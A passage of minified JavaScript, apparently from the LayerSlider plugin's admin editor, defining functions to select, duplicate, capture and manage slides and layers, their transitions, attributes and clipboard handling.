LayerSlider.addSlide(!1,{showSlideOptions:!0,selectSlide:!0}),!0;t&&LS_activeSlideIndex===a&&LayerSlider.selectSlide(t.index(),{closeSlidesPanel:!1,forceSelect:!0}),1===window.lsSliderData.layers.length&&lsEditor.bottomNotification.close("scroll-scene-slides")}),30)}})}})},selectSlide:function(e,t){if(t=t||{},!(t=jQuery.extend({},{closeSlidesPanel:!0},t)).forceSelect&&LS_activeSlideIndex===e)return!1;jQuery("#lse-slide-tabs").children().eq(e).addClass("lse-active").siblings().removeClass("lse-active"),lsEditor.revisions.isActive||lsEditor.preview.exit(),t.closeSlidesPanel&&lsEditor.slidesList.close(),LS_activeSlideIndex=e,(LS_activeSlideData=window.lsSliderData.layers[e]).meta||(LS_activeSlideData.meta={});var i=jQuery.extend(!0,{},LS_DataSource.getDefaultSlideData());LS_activeSlideData.properties=jQuery.extend(!0,i,LS_activeSlideData.properties),LS_activeLayerIndexSet=LS_activeSlideData.meta.activeLayers||[],LS_lastSelectedLayerIndex=LS_activeLayerIndexSet[0],LS_activeStaticLayersDataSet=LayerSlider.staticLayersForSlide(e),LS_DataSource.buildSlide(),LayerSlider.updateSlideInterfaceItems(),LayerSlider.generatePreview(),LayerSlider.selectLayer(LS_activeLayerIndexSet,{forceSelect:!0}),LayerSlider.updatePreviewSelection(),LS_UndoManager.update()},renameSlide:function(e){var t=jQuery(e),i=t.closest(".lse-slide-tab");window.lsSliderData.layers[i.index()].properties.title=t.val()},duplicateSlide:function(e){var t=LS_activeSlideIndex;e&&(t=jQuery(e).closest(".lse-slide-tab").index());var i=window.lsSliderData.layers[t],a=jQuery.extend(!0,{},i);a.properties.uuid=LS_DataSource.generateUUID(),jQuery.each(a.sublayers,(function(e,t){t.uuid=LS_DataSource.generateUUID()})),a.properties.title&&(a.properties.title+=" copy"),LayerSlider.addSlide(a,{atIndex:t+1,selectSlide:!0,focusInput:!0,closeSlidesPanel:!1})},setSVGDimensionAttributes:function(){LS_previewArea.find("svg").each((function(){var e=jQuery(this);e.attr({width:e.css("width"),height:e.css("height")})}))},clearSVGDimensionAttributes:function(){LS_previewArea.find("svg").removeAttr("width height")},captureSlide:function(){lsEditor.notify.show({icon:"camera",text:LS_l10n.notifyCaptureSlide}),LayerSlider.hidePreviewSelection(),jQuery(".ls-gui-element:visible").addClass("ls-hidden"),LayerSlider.setSVGDimensionAttributes(),setTimeout((function(){var e=LayerSlider.isSlidePreviewActive?jQuery("#lse-preview-timeline"):LS_previewHolder;html2canvas(e[0],{scale:2}).then((function(e){var t,i,a,r=e.width,s=e.height,l=1280;(r>l||s>720)&&(a=r/s,r>s?(t=l,i=l/a):(t=720*a,i=720),e=LS_Utils.resizeCanvas(e,t,i)),LayerSlider.showPreviewSelection(),LayerSlider.clearSVGDimensionAttributes(),jQuery(".ls-gui-element.ls-hidden").removeClass("ls-hidden");var o="ls-project-"+LS_sliderID+"-slide-"+(LS_activeSlideIndex+1)+".png",n=e.toDataURL("image/jpeg",.92),d=LS_Utils.dataURItoBlob(n,"image/jpeg");d.lastModifiedDate=new Date,d.name=o,d.filename=o,LayerSlider.uploadImageToMediaLibrary(d,(function(e){LS_activeSlideData.properties.thumbnail=e.url,LS_activeSlideData.properties.thumbnailId=e.id,LS_activeSlideData.properties.thumbnailThumb=e.url,LS_GUI.updateImagePicker("thumbnail",e.url),LayerSlider.updateSlidePreviews(),lsSetEditorDirtyState(!0),lsEditor.notify.hide()}))}))}),1e3)},toggleSlideVisibility:function(e){var t=LS_activeSlideIndex,i=jQuery("#lse-slide-tabs .lse-slide-tab").eq(t);e&&(i=jQuery(e).closest(".lse-slide-tab"));var a=window.lsSliderData.layers[i.index()];a.properties.skip?(a.properties.skip=!1,i.removeClass("lse-skip")):(a.properties.skip=!0,i.addClass("lse-skip"))},setCustomSlideProperties:function(e){e.originalEvent&&lsSetEditorDirtyState(!0);var t=LS_activeSlideData.properties.customProperties={};jQuery(".lse-custom-slide-properties lse-col:not(.lse-placeholder):not(:last)").each((function(){var e=jQuery("input:eq(0)",this),i=jQuery("input:eq(1)",this),a=e.val(),r=i.val();t[a]=r}))},updateCustomSlideProperties:function(){var e=LS_activeSlideData.properties;e.customProperties=e.customProperties||{};var t=LS_activeSlideData.properties.customProperties||{},i=jQuery(".lse-custom-slide-properties");Object.keys(t).sort().forEach((function(e){var i=t[e];delete t[e],t[e]=i})),jQuery("lse-col:not(.lse-placeholder)",jQuery(".lse-custom-slide-properties")).not(":last").remove(),jQuery.each(t,(function(e,t){jQuery("lse-col:last input:eq(0)",i).val(e),jQuery("lse-col:last input:eq(1)",i).val(t).trigger("input."+lsEditor.settings.nameSpace+lsEditor.formRows.nameSpace)}))},addLayer:function(e,t,i){var a,r,s=[],l=[];for(i=i||{selectLayer:!0},r=!e,e=e||jQuery.extend(!0,{},LS_DataSource.getDefaultLayerData()),undoDataSet=jQuery.extend(!0,{},e),e=jQuery.makeArray(e),undoDataSet=jQuery.makeArray(undoDataSet),a=e.length,t=!t?[].fill(0,a):t,t=jQuery.makeArray(t);a--;)LayerSlider.autoRenameLayer(null,e[a]),LS_activeSlideData.sublayers.splice(t[a],0,e[a]),s.push(t[a]+a),l.push({itemIndex:t[a],selectIndex:s[a],undo:{data:{}},redo:{data:undoDataSet[a]}});i.histroyEvent||LS_UndoManager.add("slide.layers",l.length>1?"LAYER_NEW_M":"LAYER_NEW",l),LS_DataSource.buildLayersList(),LayerSlider.generatePreview(),i.selectLayer&&(s.sort((function(e,t){return e-t})),LayerSlider.selectLayer(s,{forceSelect:!0}),r&&1===l.length&&jQuery("#lse-layers-list  lse-li.lse-active .lse-layer-title").focus().select())},autoRenameLayer:function(e,t){if((t=t||LS_activeSlideData.sublayers[e]).autoSubtitle){switch(t.media){case"img":if(t.image){var i=LS_Utils.beautifyFileName(t.image);t.subtitle=i||LS_l10n.SBLayerTypeImg}else t.subtitle=LS_l10n.SBLayerTypeImg;break;case"icon":if(t.html){var a,r=jQuery(t.html),s=r.attr("class"),l=s?s.replace("fa fa-",""):"";a=(a=(a=r.data("name"))||l)||LS_l10n.SBLayerTypeIcon,t.subtitle=LS_Utils.beautifyFileName(a)}break;case"shape":t.subtitle=LS_l10n.SBLayerTypeShape;break;case"svg":t.subtitle=LS_l10n.SBLayerTypeSVG;break;case"media":t.subtitle=LS_l10n.SBLayerTypeMedia;break;default:var o=t.html,n=t.subtitle,d=o;if(o&&(d=(o+"").replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g,"$1 ")),o&&"<"===o[0])try{d=jQuery(o).text()||d}catch(e){}d||(d=t.media.charAt(0).toUpperCase()+t.media.slice(1)),d&&n!=d&&(d=(d=d.replace(/\&nbsp\;/g," ")).substr(0,30),t.subtitle=d)}jQuery.isNumeric(e)&&LS_DataSource.buildLayersListItem(e)}},addFormattedLayer:function(e,t){var i,a="string"==typeof e?e:jQuery(e).data("type");if("import"!==a)if("shape-modal"!==a)if("svg-modal"!==a)if("icon-modal"!==a){switch((i=jQuery.extend(!0,{},LS_DataSource.getDefaultLayerData())).media=a,-1!==["text","html","post"].indexOf(a)&&jQuery.extend(i.styles,{"font-size":24}),a){case"text":i.html=LS_l10n.SBPreviewTextPlaceholder,jQuery.extend(i.styles,{"font-size":36});break;case"html":i.html=LS_l10n.SBPreviewHTMLPlaceholder,jQuery.extend(i.styles,{"font-size":36});break;case"icon":break;case"shape":jQuery.extend(i.styles,{width:256});break;case"svg":jQuery.extend(i.styles,{width:256,height:256});break;case"button":i.html=LS_l10n.SBPreviewButtonPlaceholder,jQuery.extend(i.styles,{"padding-top":"0.75em","padding-bottom":"0.75em","padding-right":"3em","padding-left":"3em","font-family":"Arial, sans-serif","font-size":16,"font-weight":700,"background-color":"#4071e4",color:"#fff","border-radius":"10em",cursor:"pointer"});break;case"post":i.html=LS_l10n.SBPreviewPostPlaceholder,jQuery.extend(i.styles,{"font-size":36})}t&&jQuery.extend(!0,i,t),LayerSlider.addLayer(i,null,{selectLayer:!0}),"media"===a?LS_InsertMedia.open():"img"===a?jQuery(".lse-layer-image").click():"button"===a&&LS_ButtonLibrary.open(),jQuery("#lse-show-layer-settings").click(),jQuery("lse-layer-settings lse-subnav-item.lse-layer-content-tab").click()}else LS_IconLibrary.open({createLayer:!0});else LS_SVGChooser.open();else new LS_ShapeEditor;else setTimeout((function(){LS_ImportLayer.open()}),300)},selectLayer:function(e,t){if(!LS_activeSlideData.sublayers.length)return jQuery("lse-layers-list lse-sidebar-content").addClass("lse-no-layers"),jQuery("lse-layer-settings").addClass("lse-disabled"),!1;if(jQuery("lse-layers-list lse-sidebar-content").removeClass("lse-no-layers"),jQuery("lse-layer-settings").removeClass("lse-disabled"),!e||!e.length)return!1;if(null==e[0])return!1;if(!(LS_activeSlideData.sublayers.length-1<Math.max.apply(Math,e))){if(!(t=t||{}).forceSelect&&e.length==LS_activeLayerIndexSet.length&&e.every((function(e,t){return e===LS_activeLayerIndexSet[t]})))return!1;var i=jQuery("#lse-layers-list lse-li");if(lsEditor.revisions.isActive||t.remainInPreview||lsEditor.preview.exit(),LS_activeLayerIndexSet=[],LS_activeLayerDataSet=[],i.removeClass("lse-active"),jQuery("lse-preview-area > *").removeClass("ui-selected"),jQuery.each(e,(function(e,t){if(LS_activeLayerIndexSet.push(t),LS_activeLayerDataSet.push(LS_activeSlideData.sublayers[t]),LS_previewItems[t]){let e=LS_activeSlideData.sublayers[t];e&&(e.locked||e.skip||e.transition?.backgroundvideo)?LS_previewItems[t].removeClass("ui-selected"):LS_previewItems[t].addClass("ui-selected")}i.eq(t).addClass("lse-active")})),jQuery.each(LS_activeLayerDataSet,(function(e,t){t.meta||(t.meta={})})),LS_activeLayerIndexSet.length>1?LayerSlider.startMultipleSelection():LayerSlider.stopMultipleSelection(),1===LS_activeLayerIndexSet.length&&(LS_DataSource.buildLayer(),LS_lastSelectedLayerIndex=LS_activeLayerIndexSet[0]),LS_Utils.removeTextSelection(),LayerSlider.updatePreviewSelection(),LS_activeSlideData.meta.activeLayers=LS_activeLayerIndexSet,jQuery("lse-layers-list lse-sidebar-content").removeClass("lse-no-layers"),1===LS_activeLayerIndexSet.length){let e=i.closest("lse-sidebar-content"),t=e.height(),a=e.scrollTop(),r=i.eq(LS_activeLayerIndexSet),s=r.outerHeight(!0),l=r.position().top;t<l+s?e.scrollTop(l+s-t+a):l-s<0&&e.scrollTop(a+l-s)}}},
startMultipleSelection:function(){LS_multipleSelection=!0;var e=jQuery("lse-layer-settings"),t=jQuery("lse-subnav-item.lse-layer-content-tab",e),i=jQuery("lse-subnav-item.lse-layer-style-tab",e),a=jQuery("lse-subnav-item.lse-layer-actions-tab",e);t.hasClass("lse-active")&&i.click(),a.hasClass("lse-active")&&i.click(),$lsE.addClass("lse-multiple-selection");let r=jQuery("input,textarea",e).filter(".lse-transition-prop, .lse-style-prop");r=r.add(jQuery(".lse-layer-common-attributes lse-col input:last-child")),r=r.add(jQuery('input[name="url"]',e));let s=jQuery("select:not(.lse-multi-selected)",e);s=s.add(jQuery('select[name="target"]:not(.lse-multi-selected)',e)),s=s.not(".lse-select-layer-action");let l=jQuery(":checkbox",e);r.val(""),s.addClass("lse-multi-selected").prepend("<option></option>").children().prop("selected",!1).eq(0).prop("selected",!0),l.prop("indeterminate",!0).data("indeterminate",!0),jQuery("lse-image-input",e).css("background-image","none"),jQuery(".lse-color-input input",e).css("background","transparent"),jQuery("#lse-transition-dropdown .lse-enabled").removeClass("lse-enabled"),jQuery("#lse-transition-tabs lse-sidebar-section.lse-disabled").removeClass("lse-disabled"),jQuery(".lse-scroll-transition-form lse-col").next().removeClass("lse-closed-col")},stopMultipleSelection:function(){LS_multipleSelection=!1;var e=jQuery("lse-layer-settings");$lsE.removeClass("lse-multiple-selection"),jQuery("select.lse-multi-selected",e).removeClass("lse-multi-selected").children(":first-child").remove(),jQuery(":checkbox",e).prop("indeterminate",!1).data("indeterminate",!1),jQuery(".lse-scroll-transition-form .lse-toggle-options-visibility").trigger("input."+lsEditor.settings.nameSpace)},enableTransitionPage:function(e){LayerSlider.reorderTransitionProperties(jQuery(e).closest("lse-sidebar-section").index()),"layer"===lsEditor.preview.state?(lsEditor.preview.exit("layer",{willRestart:!0}),lsEditor.preview.enter("layer")):"slide"===lsEditor.preview.state&&(lsEditor.preview.exit("slide"),lsEditor.preview.enter("slide"))},reorderTransitionProperties:function(e,t){let i=jQuery("#lse-transition-tabs").children();void 0!==e&&(i=i.eq(e)),i.each((function(){let e=jQuery(this),i=e.index(),a=e.find(".lse-layer-transition-checkbox"),r=a.attr("name"),s=e.find(":input.lse-transition-prop[name]"),l=e.find('input[type="range"]'),o=jQuery("#lse-transition-dropdown lse-li").eq(i),n=e.data("storage"),d=a.data("indeterminate"),c=[],u="LAYER_TRANSITION",p=a.prop("checked")||d;void 0!==t&&(p=t),l.val(""),s=s.not(a).not('[name=""],[name="static"],[name="keyframe"],[name="skipViewport"]'),jQuery.each(LS_activeLayerIndexSet,(function(t,i){let l=LS_activeSlideData.sublayers[i],n={},y={};p?(d&&a.prop("checked",!0).data("indeterminate",!1),1===LS_activeLayerIndexSet.length&&o.addClass("lse-enabled"),e.removeClass("lse-disabled"),a.prop("checked",!0),u="ENABLE_LAYER_TRANSITION",n[r]=l.transition[r],y[r]=!0,l.transition[r]=!0,s.each((function(){var e=jQuery(this),t=e.attr("name"),i=e.data("default");void 0===l.transition[t]&&(n[t]=l.transition[t],y[t]=i,l.transition[t]=i)})),c.push({itemIndex:i,redo:y,undo:n})):(1===LS_activeLayerIndexSet.length&&o.removeClass("lse-enabled"),e.addClass("lse-disabled"),a.prop("checked",!1),u="DISABLE_LAYER_TRANSITION",n[r]=l.transition[r],y[r]=!1,l.transition[r]=!1,s.each((function(){var e=jQuery(this),t=e.attr("name"),i=e.is(":checkbox")?e.prop("checked"):e.val();e.data("value",i),n[t]=l.transition[t],y[t]=null,delete l.transition[t]})),c.push({itemIndex:i,redo:y,undo:n}))})),c.length&&LS_UndoManager.add("layer.transition",u,c),1===LS_activeLayerDataSet.length&&LS_DataSource.setFormItemValues(s,LS_activeLayerDataSet[0].transition),"scroll-transition"===n&&jQuery(".lse-scroll-transition-form .lse-toggle-options-visibility").trigger("input."+lsEditor.settings.nameSpace)}))},removeLayer:function(e,t,i){if(t=t||{},t=jQuery.extend({},{requireConfirmation:!0},t),i=i||{},i=jQuery.extend({},{forceSelect:!0},i),e||0===e?"number"==typeof e&&(e=[e]):e=LS_activeLayerIndexSet,t.requireConfirmation){let a={};e.length<2&&(a=LS_activeSlideData.sublayers[e[0]]),lsCommon.smartAlert.open({type:"confirm",title:e.length>1?LS_l10n.SBRemoveLayersTitle:a?.subtitle?LS_l10n.SBRemoveLayerTitleName.replace("%s",a?.subtitle):LS_l10n.SBRemoveLayerTitle,text:e.length>1?LS_l10n.SBRemoveLayersText:LS_l10n.SBRemoveLayerText,buttons:{ok:{label:e.length>1?LS_l10n.SBRemoveLayersButton:LS_l10n.SBRemoveLayerButton}},textAlign:"center",onConfirm:()=>{LayerSlider.__removeLayer(e,t,i)}})}else LayerSlider.__removeLayer(e,t,i)},__removeLayer:function(e,t,i){for(var a,r,s,l,o=e.length,n=jQuery("#lse-layers-list lse-li"),d=[];o--;)s=e[o],a=n.eq(s),l=jQuery.extend(!0,{},LS_activeSlideData.sublayers[s]),a.next().length>0?r=a.next():a.prev().length>0&&(r=a.prev()),d.push({itemIndex:s,undo:{data:l},redo:{data:{}}}),LS_activeSlideData.sublayers.splice(s,1),a.remove();LS_activeSlideData.sublayers.length?r.length&&((LS_activeLayerIndexSet.length>1||LS_activeLayerIndexSet[0]===e[0])&&LayerSlider.selectLayer([r.index()],i),LayerSlider.reindexLayers()):(jQuery("lse-layer-settings").addClass("lse-disabled").removeClass("lse-multiple-selection"),jQuery("lse-layers-list lse-sidebar-content").addClass("lse-no-layers"),LS_activeLayerIndexSet=[]),LayerSlider.generatePreview(),LayerSlider.updatePreviewSelection(),!t.histroyEvent&&d.length&&LS_UndoManager.add("slide.layers","LAYER_DELETE",d)},hideLayer:function(e,t){t=t||{},t=jQuery.extend({},{allSelected:!0,mirrorSettings:!1},t),$button=jQuery(e);var i,a,r,s=LS_activeLayerIndexSet,l=LS_activeLayerDataSet,o=[];$button.length&&(!t.allSelected||s.length<2)&&(s=[$button.closest("lse-li").index()],l=[LS_activeSlideData.sublayers[s[0]]]),$button.length&&t.mirrorSettings&&s.length>1&&(i=!$button.hasClass("lse-hidden")),jQuery.each(s,(function(e,t){a=l[e],r=jQuery("#lse-layers-list .lse-hide-layer").eq(t),o.push({itemIndex:t,undo:{skip:!!a.skip},redo:{skip:void 0!==i?i:!a.skip}}),a.skip=void 0!==i?i:!a.skip,a.skip?r.addClass("lse-hidden"):r.removeClass("lse-hidden"),LayerSlider.updatePreviewSelection(),LayerSlider.generatePreviewItem(t)})),LS_UndoManager.add("layer.general","LAYER_HIDE",o)},lockLayer:function(e,t){t=t||{},t=jQuery.extend({},{allSelected:!0,mirrorSettings:!1},t),$button=jQuery(e);var i,a,r,s,l=LS_activeLayerIndexSet,o=LS_activeLayerDataSet,n=[];$button.length&&(!t.allSelected||l.length<2)&&(l=[jQuery($button).closest("lse-li").index()],o=[LS_activeSlideData.sublayers[l[0]]]),$button.length&&t.mirrorSettings&&l.length>1&&(a=!$button.hasClass("lse-locked")),jQuery.each(l,(function(e,t){i=o[e],r=LayerSlider.previewItemAtIndex(t),s=jQuery("#lse-layers-list .lse-lock-layer").eq(t),n.push({itemIndex:t,undo:{locked:!!i.locked},redo:{locked:void 0!==a?a:!i.locked}}),i.locked=void 0!==a?a:!i.locked,i.locked?(s.addClass("lse-locked"),r.addClass("lse-disabled").draggable("disable")):(s.removeClass("lse-locked"),r.removeClass("lse-disabled").draggable("enable")),LayerSlider.updatePreviewSelection(),LayerSlider.generatePreviewItem(t)})),LS_UndoManager.add("layer.general","LAYER_LOCK",n)},maintainLayerWarnings:function(e){let t=jQuery("#lse-layers-list lse-li").eq(e),i=jQuery(".lse-unregistered-layer",t),a=LS_activeSlideData.sublayers[e];i[LS_Utils.shouldDisplayPermiumWarning(a)?"addClass":"removeClass"]("lse-visible")},maintainAvailableTransitionTypes:function(){if("popup"===lsSliderData.properties.type){let e=jQuery("#lse-transition-dropdown");jQuery("lse-li.lse-active",e).hasClass("lse-slider-type-only")&&(e.click(),e.children().eq(0).click())}},setActiveLayerMedia:function(){jQuery.each(LS_activeLayerIndexSet,(function(e,t){let i=LS_activeSlideData.sublayers[t];i&&LayerSlider.setLayerMedia(i.media,jQuery("#lse-layers-list lse-li:eq("+t+") .lse-layer-thumb"),i)}))},setLayerMedia:function(e,t,i){var a=jQuery();try{a=jQuery(i.html)}catch(e){}switch(e){case"img":i.imageThumb?t.html("").removeClass("lse-layer-bg").css("background-image","url("+(i.imageThumb||pluginPath+"admin/img/blank.gif")+")"):t.html(LS_InterfaceIcons.layerTypes.img);break;case"html":t.html(LS_InterfaceIcons.layerTypes.html);break;case"button":t.html(LS_InterfaceIcons.layerTypes.button);break;case"shape":t.html(LS_InterfaceIcons.layerTypes.shape),t.css("color",i.styles.color);break;case"svg":t.html(LS_InterfaceIcons.layerTypes.svg);break;case"icon":var r=a.attr("class");r&&-1!==r.indexOf("fa-")?t.addClass(r):t.html(LS_InterfaceIcons.layerTypes.icon),i.styles.color&&t.css("color",i.styles.color);break;case"media":t.html(LS_InterfaceIcons.layerTypes.media);break;case"post":t.html(LS_InterfaceIcons.layerTypes.post);break;default:t.html(LS_InterfaceIcons.layerTypes.text)}if(-1!==["shape","svg","icon","text","html","post"].indexOf(e))if(a.eq(0).is("svg")&&t.html("<ls-icon>"+a[0].outerHTML+"</ls-icon>"),t.css({backgroundColor:"",backgroundImage:""}),i.html&&i.html.trim().length)t.removeClass("lse-layer-bg").css({"background-image":"none","background-color":"transparent"});else if(i.layerBackgroundThumb)t.html("").css({backgroundColor:"transparent",backgroundImage:'url("'+i.layerBackgroundThumb+'")'});else if(i.styles&&i.styles["background-color"]){let e=-1!==i.styles["background-color"].indexOf("gradient")?"background-image":"background-color";t.css({backgroundImage:"none",backgroundColor:"transparent"}),t.html("").addClass("lse-layer-bg").css(e,i.styles["background-color"])}},setLayerAttributes:function(e){e&&e.originalEvent&&lsSetEditorDirtyState(!0),jQuery.each(LS_activeLayerDataSet,(function(e,t){var i=t.innerAttributes={},a=t.outerAttributes={};jQuery(".lse-layer-custom-attributes lse-col:not(.lse-placeholder):not(:last)").each((function(){var e=jQuery("input:eq(0)",this),t=jQuery("input:eq(1)",this),r=jQuery(":checkbox",this),s=e.val(),l=t.val();s&&/^[a-zA-Z]([a-zA-Z0-9_-]+)$/.test(s)?(e.removeClass("lse-input-invalid"),r.prop("checked")?a[s]=l:i[s]=l):e.addClass("lse-input-invalid")}))})),LayerSlider.generateSelectedPreviewItems()},updateLayerAttributes:function(e){e.innerAttributes=e.innerAttributes||{},e.outerAttributes=e.outerAttributes||{};var t=jQuery.extend({},e.innerAttributes,e.outerAttributes);Object.keys(t).sort().forEach((function(e){var i=t[e];delete t[e],t[e]=i})),jQuery(".lse-layer-custom-attributes lse-col:not(.lse-placeholder)").not(":last").remove(),jQuery.each(t,(function(t,i){$customAttributes=jQuery(".lse-layer-custom-attributes lse-col:last"),jQuery(":checkbox",$customAttributes).prop("checked",t in e.outerAttributes),jQuery("input:eq(1)",$customAttributes).val(i),jQuery("input:eq(0)",$customAttributes).val(t).trigger("input."+lsEditor.settings.nameSpace+lsEditor.formRows.nameSpace)}))},setLayerActions:function(e){e&&e.originalEvent&&lsSetEditorDirtyState(!0);let t=LS_activeLayerDataSet[0];t.actions=[],jQuery("#lse-layer-actions-list .lse-layer-action:not(.lse-placeholder):not(:last)").each((function(){let e={};jQuery(this).find(":input[name]").each((function(){let t=jQuery(this),i=t.val();jQuery.isNumeric(i)&&(i=parseFloat(i)),t.is(":checkbox")&&(i=t.prop("checked")),e[this.name]=i})),e&&!jQuery.isEmptyObject(e)&&t.actions.push(e)}))},updateLayerActions:function(e){e.actions=e.actions||[],jQuery("#lse-layer-actions-list .lse-layer-action:not(.lse-placeholder)").not(":last").remove(),jQuery.each(e.actions,(function(e,t){jQuery("#lse-layer-actions-list lse-row:last .lse-select-layer-action").val(t.action).trigger("input."+lsEditor.settings.nameSpace+lsEditor.formRows.nameSpace).trigger("change."+lsEditor.settings.nameSpace);let i=jQuery("#lse-layer-actions-list .lse-layer-action:last").prev();jQuery.each(t,(function(e,t){if("action"!==e){let a=i.find(':input[name="'+e+'"]');a.is(":checkbox")?a.prop("checked",t).data("value",t):a.val(t).data("value",t)}}))}))},staticLayersForSlide:function(e){var t=[];return jQuery.each(window.lsSliderData.layers,(function(i,a){jQuery.each(a.sublayers,(function(r,s){if(s.transition.static){var l=s.transition.static;(l>e||"forever"===l)&&i<e&&t.push({slideIndex:i,slideData:a,layerIndex:r,layerData:s})}}))})),t},reindexStaticLayers:function(){jQuery.each(window.lsSliderData.layers,(function(e,t){jQuery.each(t.sublayers,(function(e,t){if(t.transition.staticUUID){var i=LS_DataSource.slideForUUID(t.transition.staticUUID);i&&(t.transition.static=i+1)}}))}))},setupStaticLayersChooser:function(e){var t=jQuery(e);t.children('[value="forever"]').nextAll().remove();for(var i,a=window.lsSliderData,r=a.layers?a.layers.length:0,s='<option value="-2" disabled>–</option>',l=0;l<r;l++)i=(i=a.layers[l].properties.title)?" ("+i+")":"",s+='<option value="'+(l+1)+'">'+LS_l10n.SBStaticUntil.replace("%d",l+1)+" "+i+"</option>";t.append(s);var o=parseInt(LS_activeLayerDataSet[0].transition.static);o&&t.children('[value="'+o+'"]').prop("selected",!0).siblings().prop("selected",!1)},revealStaticLayer:function(e){var t=jQuery(e).closest("lse-li").index(),i=LS_activeStaticLayersDataSet[t];LayerSlider.selectSlide(i.slideIndex),LayerSlider.selectLayer([i.layerIndex],{forceSelect:!0})},duplicateLayer:function(e,t){this.pasteLayer(this.copyLayer(!1,e,t).layers)},copyLayer:function(e,t,i,a){e=e||!0,t=t||LS_activeLayerDataSet,i=i||LS_activeLayerIndexSet,a=a||{shiftLayers:!0};var r=[];return jQuery.each(t,(function(e,t){var i=jQuery.extend(!0,{},t);i.subtitle+=" copy",r.push(i)})),r={layers:r,sliderID:a.sliderID||LS_sliderID,slideIndex:a.slideIndex||LS_activeSlideIndex,layerIndexSet:i},e&&localStorage.setObject("lse-layer-clipboard",r),r},pasteLayer:function(e,t,i){var a,r=!!e,s=localStorage.getObject("lse-layer-clipboard");s?(e=e||s.layers,t=t||s.layerIndexSet,e?(i=i||{},a=s.sliderID!==LS_sliderID||s.slideIndex!==LS_activeSlideIndex?[].fill(0,t.length):[].fill(Math.min.apply(Math,t),t.length),jQuery.each(e,(function(e,t){t.uuid=LS_DataSource.generateUUID()})),LayerSlider.addLayer(e,a,{selectLayer:!0}),r||this.copyLayer(!0,e,t,{sliderID:s.sliderID,slideIndex:s.slideIndex}),LayerSlider.reindexProjectGoogleFonts(),setTimeout((function(){LayerSlider.addFontsLoadedEvent()}),100)):lsCommon.smartAlert.open({text:LS_l10n.SBPasteLayerError,textAlign:"center"})):lsCommon.smartAlert.open({text:LS_l10n.SBPasteLayerError,textAlign:"center"})},selectElementType:function(e,t){t="object"==typeof(t=t||LS_activeLayerIndexSet)?t[0]:t;var i=LS_activeSlideData.sublayers[t],a=jQuery(e).data("element");jQuery(e).addClass("lse-active").siblings().removeClass("lse-active"),a&&(i.type=a)},copyLayerSettings:function(e){var t=jQuery(e),i=t.closest("[data-storage]"),a=i.attr("data-storage"),r={styles:{},transition:{}};i.find(":input").each((function(){if(this.name){var e=jQuery(this),t=e.hasClass("lse-transition-prop")?"transition":"styles";r[t][this.name]=e.is(":checkbox")?e.prop("checked"):e.val()}}));var s=localStorage.getObject("lse-layer-options-clipboard")||{};s[a]={timestamp:Math.floor(Date.now()/1e3),data:r},localStorage.setObject("lse-layer-options-clipboard",s),t.addClass("lse-highlight-button"),setTimeout((function(){t.removeClass("lse-highlight-button")}),1e3)},pasteLayerSettings:function(e){var t=jQuery(e),i=t.closest("[data-storage]"),a=i.attr("data-storage"),r=[],s=(localStorage.getObject("lse-layer-options-clipboard")||{})[a],l=Math.floor(Date.now()/1e3);if(!s||jQuery.isEmptyObject(s.data)||s.timestamp<l-10800)return lsCommon.smartAlert.open({width:600,text:LS_l10n.SBPasteError,textAlign:"center"}),!1;jQuery.each(LS_activeLayerIndexSet,(function(e,t){var l=LS_activeLayerDataSet[e],o={},n={};i.find(":input").each((function(){if(this.name&&"top"!=this.name&&"left"!=this.name){var e=jQuery(this).hasClass("lse-transition-prop")?"transition":"styles",t=l[e];curVal=l[e][this.name],newVal=s.data[e][this.name],"style"===this.name&&(curVal=l[this.name]),curVal!=newVal&&(o[e]||(o[e]={}),n[e]||(n[e]={}),o[e][this.name]=curVal,n[e][this.name]=newVal),"style"===this.name?l.style=newVal:t[this.name]=newVal}})),r.push({itemIndex:t,undo:o,redo:n}),LS_DataSource.buildLayer(),"styles"===a&&LayerSlider.generatePreviewItem(t)})),LS_UndoManager.add("layer.general","LAYER_PASTE_SETTINGS",r),t.addClass("lse-highlight-button"),setTimeout((function(){t.removeClass("lse-highlight-button")}),1e3)},updateProjectInterfaceItems:function(){LS_GUI.updateImagePicker("backgroundimage","useCurrent"),LS_GUI.updateImagePicker("preview","useCurrent"),LS_GUI.updateColorPicker("backgroundcolor",lsSliderData.properties.backgroundcolor,lsSliderData.properties.backgroundcolorData),LS_GUI.updateColorPicker("popupOverlayBackground",lsSliderData.properties.popupOverlayBackground,lsSliderData.properties.popupOverlayBackgroundData)},updateSlideInterfaceItems:function(){var e=LS_activeSlideData.properties,t=e.backgroundThumb||e.background;thumbnailSrc=e.thumbnailThumb||e.thumbnail,LS_GUI.updateImagePicker("background",t),LS_GUI.updateImagePicker("thumbnail",thumbnailSrc),LS_GUI.updateLinkPicker("layer_link"),LS_GUI.updateColorPicker("bgcolor",e.bgcolor,e.bgcolorData),jQuery("input,textarea,select",jQuery("lse-slide-settings")).filter(".lse-restore-prop").trigger("input."+lsEditor.settings.nameSpace)},updateLayerInterfaceItems:function(e){var t=jQuery("lse-layer-settings"),i=jQuery("#lse-layers-list lse-li").eq(e),a=LS_activeSlideData.sublayers[e];if(!a)return;if(LS_GUI.updateImagePicker("image",a.imageThumb||a.image),LS_GUI.updateImagePicker("poster",a.posterThumb||a.poster),LS_GUI.updateImagePicker("layerBackground",a.layerBackgroundThumb||a.layerBackground),LS_GUI.updateColorPicker("color",a.styles.color,a.styles.colorData),LS_GUI.updateColorPicker("iconColor",a.iconColor,a.styles.iconColorData),LS_GUI.updateColorPicker("background-color",a.styles["background-color"],a.styles["background-colorData"]),LS_GUI.updateColorPicker("border-color",a.styles["border-color"],a.styles["border-colorData"]),LS_GUI.updateColorPicker("colorin",a.transition.colorin,a.transition.colorinData),LS_GUI.updateColorPicker("bgcolorin",a.transition.bgcolorin,a.transition.bgcolorinData),LS_GUI.updateColorPicker("textcolorin",a.transition.textcolorin,a.transition.textcolorinData),LS_GUI.updateColorPicker("textcolorout",a.transition.textcolorout,a.transition.textcoloroutData),LS_GUI.updateColorPicker("colorout",a.transition.colorout,a.transition.coloroutData),LS_GUI.updateColorPicker("bgcolorout",a.transition.bgcolorout,a.transition.bgcoloroutData),LS_GUI.updateColorPicker("hovercolor",a.transition.hovercolor,a.transition.hovercolorData),LS_GUI.updateColorPicker("hoverbgcolor",a.transition.hoverbgcolor,a.transition.hoverbgcolorData),LS_GUI.updateLinkPicker("url"),LS_GUI.updateIconPicker("icon",a.icon),LS_GUI.updateIconPicker("html",a.html),void 